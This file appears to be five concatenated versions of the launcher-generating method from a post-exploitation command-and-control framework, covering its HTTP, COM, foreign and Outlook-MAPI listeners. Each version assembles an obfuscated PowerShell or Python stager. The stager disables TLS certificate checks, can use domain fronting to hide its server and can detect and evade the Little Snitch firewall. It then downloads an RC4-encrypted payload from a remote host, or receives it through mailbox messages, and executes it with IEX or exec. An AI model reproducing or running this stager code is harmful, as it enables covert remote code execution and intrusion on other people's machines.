def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, bypasses: List[str]=None): """ Generate a basic launcher for the specified listener. """ bypasses = [] if bypasses is None else bypasses if not language: print(helpers.color('[!] listeners/template generate_launcher(): no language specified!')) return None if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") for bypass in bypasses: stager += bypass stager += "};" stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + "=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='" + userAgent + "';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization( '$' + helpers.generate_random_script_var_name("wc") + '.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization("$" + helpers.generate_random_script_var_name( "wc") + ".Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy('" + proxy.lower() + "');") stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$" + helpers.generate_random_script_var_name( "wc") + ".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] if len(username.split('\\')) > 1: usr = username.split('\\')[1] domain = username.split('\\')[0] stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');" else: usr = username.split('\\')[0] stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "');" stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Proxy.Credentials = $netcred;") # save the proxy settings to use during the entire staging process and the agent stager += "$Script:Proxy = $" + helpers.generate_random_script_var_name("wc") + ".Proxy;" # TODO: reimplement stager retries? # check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") # stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';" stager += "$ser=%s;$t='%s';$hop='%s';" % ( helpers.obfuscate_call_home_address(host), stage0, listenerName) # Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] # If host header defined, assume domain fronting is in use and add a call to the base URL first # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if headerKey.lower() == "host": stager += helpers.randomize_capitalization( "try{$ig=$" + helpers.generate_random_script_var_name( "wc") + ".DownloadData($ser)}catch{};") stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Headers.Add(") stager += "\"%s\",\"%s\");" % (headerKey, headerValue) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += helpers.randomize_capitalization( "$data=$" + helpers.generate_random_script_var_name("wc") + ".DownloadData($ser+$t);") stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if "https" in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n" launcherBase += "out, err = ps.communicate()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print(helpers.color(p, color='red')) if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") launcherBase += "req=urllib2.Request(server+t);\n" # add the RC4 packet to a cookie launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (b64RoutingPacket) # Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue) if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" # install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase).decode("utf-8") launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python3 &" % ( launchEncoded) return launcher else: return launcherBase else: print(helpers.color( "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module.")) else: print(helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!"))
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, bypasses: List[str] = None): """ Generate a basic launcher for the specified listener. """ bypasses = [] if bypasses is None else bypasses if not language: print( helpers.color( '[!] listeners/http_com generate_launcher(): no language specified!' )) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] requestHeader = listenerOptions['RequestHeader']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") for bypass in bypasses: stager += bypass stager += "};" stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) # TODO: reimplement stager retries? # check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str( bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str( bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("K") + "=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$' + helpers.generate_random_script_var_name("K") + '=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$' + helpers.generate_random_script_var_name("K") + '[$_%$' + helpers.generate_random_script_var_name("K") + '.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" stager += "$ser=" + helpers.obfuscate_call_home_address( host) + ";$t='" + stage0 + "';" # add the RC4 packet to a header location stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket) # Add custom headers if any modifyHost = False if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] if headerKey.lower() == "host": modifyHost = True stager += "`r`n%s: %s" % (headerKey, headerValue) stager += "\";" # If host header defined, assume domain fronting is in use and add a call to the base URL first # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if modifyHost: stager += helpers.randomize_capitalization( "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};" ) stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$" + helpers.generate_random_script_var_name("K") + ")) | IEX") if obfuscate: stager = helpers.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print( helpers.color( "[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." )) else: print( helpers.color( "[!] listeners/http_com generate_launcher(): invalid listener name specification!" ))
def generate_launcher( self, encode=True, obfuscate=False, obfuscationCommand="", userAgent="default", proxy="default", proxyCreds="default", stagerRetries="0", language=None, safeChecks="", listenerName=None, bypasses: List[str] = None, ): """ Generate a basic launcher for the specified listener. """ bypasses = [] if bypasses is None else bypasses if not language: print( helpers.color( "[!] listeners/http_foreign generate_launcher(): no language specified!" )) if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]["options"] host = listenerOptions["Host"]["Value"] launcher = listenerOptions["Launcher"]["Value"] stagingKey = listenerOptions["StagingKey"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] uris = [a for a in profile.split("|")[0].split(",")] stage0 = random.choice(uris) customHeaders = profile.split("|")[2:] if language.startswith("po"): # PowerShell stager = '$ErrorActionPreference = "SilentlyContinue";' if safeChecks.lower() == "true": stager = "If($PSVersionTable.PSVersion.Major -ge 3){" for bypass in bypasses: stager += bypass stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" stager += "$wc=New-Object System.Net.WebClient;" if userAgent.lower() == "default": profile = listenerOptions["DefaultProfile"]["Value"] userAgent = profile.split("|")[1] stager += f"$u='{ userAgent }';" if "https" in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != "none" or proxy.lower() != "none": if userAgent.lower() != "none": stager += "$wc.Headers.Add('User-Agent',$u);" if proxy.lower() != "none": if proxy.lower() == "default": stager += ( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy stager += "$proxy=New-Object Net.WebProxy;" stager += f"$proxy.Address = '{ proxy.lower() }';" stager += "$wc.Proxy = $proxy;" if proxyCreds.lower() == "default": stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" else: # TODO: implement form for other proxy credentials username = proxyCreds.split(":")[0] password = proxyCreds.split(":")[1] domain = username.split("\\")[0] usr = username.split("\\")[1] stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" stager += f"$wc.Proxy.Credentials = $netcred;" # TODO: reimplement stager retries? # Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(":")[0] headerValue = header.split(":")[1] stager += f'$wc.Headers.Add("{ headerKey }","{ headerValue }");' # code to turn the key string into a byte array stager += ( f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');" ) # this is the minimized RC4 stager code from rc4.ps1 stager += "$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};" # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID="00000000", language="POWERSHELL", meta="STAGE0", additional="None", encData="", ) b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket.decode("UTF-8") }");' stager += f"$ser= { data_util.obfuscate_call_home_address(host) };$t='{ stage0 }';" stager += "$data=$wc.DownloadData($ser+$t);" stager += "$iv=$data[0..3];$data=$data[4..$data.length];" # decode everything and kick it over to IEX to kick off execution stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" if obfuscate: stager = data_util.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand, ) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith("py"): # Python launcherBase = "import sys;" if "https" in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == "true": launcherBase += "import re, subprocess;" launcherBase += ( 'cmd = "ps -ef | grep Little\ Snitch | grep -v grep"\n' ) launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n" launcherBase += "out, err = ps.communicate()\n" launcherBase += ( "if re.search(\"Little Snitch\", out.decode('UTF-8')):\n" ) launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stagger: " + str(e) print(helpers.color(p, color="red")) if userAgent.lower() == "default": profile = listenerOptions["DefaultProfile"]["Value"] userAgent = profile.split("|")[1] launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID="00000000", language="POWERSHELL", meta="STAGE0", additional="None", encData="", ) b64RoutingPacket = base64.b64encode(routingPacket).decode( "UTF-8") # add the RC4 packet to a cookie launcherBase += ( 'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session=%s")];\n' % (b64RoutingPacket)) launcherBase += "import urllib.request\n" if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib.request.ProxyHandler();\n" else: proto = proxy.Split(":")[0] launcherBase += ( "proxy = urllib.request.ProxyHandler({'" + proto + "':'" + proxy + "'});\n") if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib.request.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" username = proxyCreds.split(":")[0] password = proxyCreds.split(":")[1] launcherBase += ( "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n") launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib.request.build_opener(proxy);\n" else: launcherBase += "o = urllib.request.build_opener();\n" # install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib.request.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=o.open(server+t).read();" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=list(range(256)),0,[]\n" launcherBase += "for i in list(range(256)):\n" launcherBase += " j=(j+S[i]+key[i%len(key)])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(char^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode( launcherBase.encode("UTF-8")).decode("UTF-8") if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode("UTF-8") launcher = ( "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded)) return launcher else: return launcherBase else: print( helpers.color( "[!] listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." )) else: print( helpers.color( "[!] listeners/http_foreign generate_launcher(): invalid listener name specification!" ))
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, bypasses: List[str] = None): """ Generate a basic launcher for the specified listener. """ bypasses = [] if bypasses is None else bypasses if not language: print( helpers.color( '[!] listeners/http generate_launcher(): no language specified!' )) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] launcher = listenerOptions['Launcher']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") for bypass in bypasses: stager += bypass stager += "};" stager += helpers.randomize_capitalization( 'Add-Type -assembly "Microsoft.Office.Interop.Outlook";' ) stager += "$" + helpers.generate_random_script_var_name( "GPF" ) + " = New-Object -comobject Outlook.Application;" stager += helpers.randomize_capitalization( '$mapi = $' + helpers.generate_random_script_var_name("GPF") + '.GetNameSpace("') stager += 'MAPI");' if listenerOptions['Email']['Value'] != '': stager += '$fld = $' + helpers.generate_random_script_var_name( "GPF" ) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[ 'Email'][ 'Value'] + '"} | %{$_.Folders.Item(2).Folders.Item("' + listenerOptions[ 'Folder']['Value'] + '")};' stager += '$fldel = $' + helpers.generate_random_script_var_name( "GPF" ) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[ 'Email']['Value'] + '"} | %{$_.Folders.Item(3)};' else: stager += '$fld = $' + helpers.generate_random_script_var_name( "GPF" ) + '.Session.GetDefaultFolder(6).Folders.Item("' + listenerOptions[ 'Folder']['Value'] + '");' stager += '$fldel = $' + helpers.generate_random_script_var_name( "GPF") + '.Session.GetDefaultFolder(3);' # clear out all existing mails/messages stager += helpers.randomize_capitalization( "while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}" ) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization( '$mail = $' + helpers.generate_random_script_var_name("GPF") + '.CreateItem(0);$mail.Subject = "') stager += 'mailpireout";' stager += helpers.randomize_capitalization('$mail.Body = ') stager += '"STAGE - %s"' % b64RoutingPacket stager += helpers.randomize_capitalization( ';$mail.save() | out-null;') stager += helpers.randomize_capitalization( '$mail.Move($fld)| out-null;') stager += helpers.randomize_capitalization( '$break = $False; $data = "";') stager += helpers.randomize_capitalization( "While ($break -ne $True){") stager += helpers.randomize_capitalization( '$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;' ) stager += helpers.randomize_capitalization( '$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}' ) stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print( helpers.color( "[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." )) else: print( helpers.color( "[!] listeners/http_mapi generate_launcher(): invalid listener name specification!" ))
def generate_launcher( self, encode=True, obfuscate=False, obfuscationCommand="", userAgent="default", proxy="default", proxyCreds="default", stagerRetries="0", language=None, safeChecks="", listenerName=None, bypasses: List[str] = None, ): """ Generate a basic launcher for the specified listener. """ bypasses = [] if bypasses is None else bypasses if not language: print( helpers.color( "[!] listeners/http_com generate_launcher(): no language specified!" ) ) if ( listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners) ): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName][ "options" ] host = listenerOptions["Host"]["Value"] launcher = listenerOptions["Launcher"]["Value"] staging_key = listenerOptions["StagingKey"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] requestHeader = listenerOptions["RequestHeader"]["Value"] uris = [a for a in profile.split("|")[0].split(",")] stage0 = random.choice(uris) customHeaders = profile.split("|")[2:] if language.startswith("po"): # PowerShell stager = '$ErrorActionPreference = "SilentlyContinue";' if safeChecks.lower() == "true": stager = "If($PSVersionTable.PSVersion.Major -ge 3){" for bypass in bypasses: stager += bypass stager += "};" stager += "[System.Net.ServicePointManager]::Expect100Continue=0;" # TODO: reimplement stager retries? # check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions["BindIP"]["Value"] port = listenerOptions["Port"]["Value"] if ":" in bindIP: if "http" in host: if "https" in host: host = ( "https://" + "[" + str(bindIP) + "]" + ":" + str(port) ) else: host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) # code to turn the key string into a byte array stager += ( f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" ) # this is the minimized RC4 stager code from rc4.ps1 stager += "$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};" # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( staging_key, sessionID="00000000", language="POWERSHELL", meta="STAGE0", additional="None", encData="", ) b64RoutingPacket = base64.b64encode(routingPacket) stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" stager += f"$ser={ data_util.obfuscate_call_home_address(host) };$t='{ stage0 }';" # add the RC4 packet to a header location stager += f'$c="{ requestHeader }: { b64RoutingPacket }' # Add custom headers if any modifyHost = False if customHeaders != []: for header in customHeaders: headerKey = header.split(":")[0] headerValue = header.split(":")[1] if headerKey.lower() == "host": modifyHost = True stager += f"`r`n{ headerKey }: { headerValue }" stager += '";' # If host header defined, assume domain fronting is in use and add a call to the base URL first # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if modifyHost: stager += "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" stager += ( "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" ) stager += "$iv=$data[0..3];$data=$data[4..$data.length];" # decode everything and kick it over to IEX to kick off execution stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" if obfuscate: stager = data_util.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand, ) # base64 encode the stager and return it if encode and ( (not obfuscate) or ("launcher" not in obfuscationCommand.lower()) ): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print( helpers.color( "[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." ) ) else: print( helpers.color( "[!] listeners/http_com generate_launcher(): invalid listener name specification!" ) )